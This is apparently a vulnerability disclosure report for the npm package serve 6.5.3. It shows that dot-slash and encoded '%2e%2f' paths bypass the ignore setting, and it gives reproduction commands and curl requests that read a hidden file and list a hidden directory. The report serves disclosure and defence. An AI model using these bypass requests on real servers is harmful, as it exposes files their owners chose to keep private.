How it was found

I would like to report a vulnerability in serve. It allows listing directory and reading local files on the target server.

Module

module name: serve version: 6.5.3 npm page: https://www.npmjs.com/package/serve

Module Description

Ever wanted to share a project on your network by running just a command? Then this module is exactly what you're looking for: It provides a neat interface for listing the directory's contents and switching into sub folders.

In addition, it's also awesome when it comes to serving static sites!

Vulnerability

Steps To Reproduce:

• Install serve:

$ npm i serve

• Create some child directories, files for demonstration:

$ mkdir dir

$ echo "This is secret content!!" > dir/secret.txt

$ mkdir dir/dir2

$ touch dir/dir2/3.txt

• Create an application that uses serve for file serving listing and set a few folders and files in the ignore config.

const serve = require('serve')
const server = serve(__dirname, {
      port: 6060,
      ignore: ['dir/secret.txt', 'dir/dir2']
})

• Run the app

$ node app.js

Now, the current directory will be served by this module on port 6060 with the exception of file dir/secret.txt and directory 'dir/dir2.

• If we try to request these ignored files/directories, we get a Not Found error

$ curl --path-as-is 'http://127.0.0.1:6060/dir/secret.txt'
Not Found

$ curl --path-as-is 'http://127.0.0.1:6060/dir/dir2/'
Not Found

or if we replace e character with URI encoded form %65, it still be ignored:

$ curl --path-as-is 'http://127.0.0.1:6060/dir/s%65cret.txt'
Not Found

• However, I found a way to access that file by using dot-slash.

$ curl --path-as-is 'http://127.0.0.1:6060/dir/./secret.txt'
This is secret content!!

Or listing the directory:

http://127.0.0.1:6060/dir/%2e%2fdir2/

{F279456}

Supporting Material/References:

• macOS High Sierra 10.13.3
• node v8.10.0
• npm 5.8.0
• Chrome Version 65.0.3325.162 (Official Build) (64-bit)

Wrap up

• I contacted the maintainer to let them know: N
• I opened an issue in the related repository: N

Impact

It bypasses the ignore files/directories feature and allows an attacker to read a file or list the directory that the victim has not allowed access to.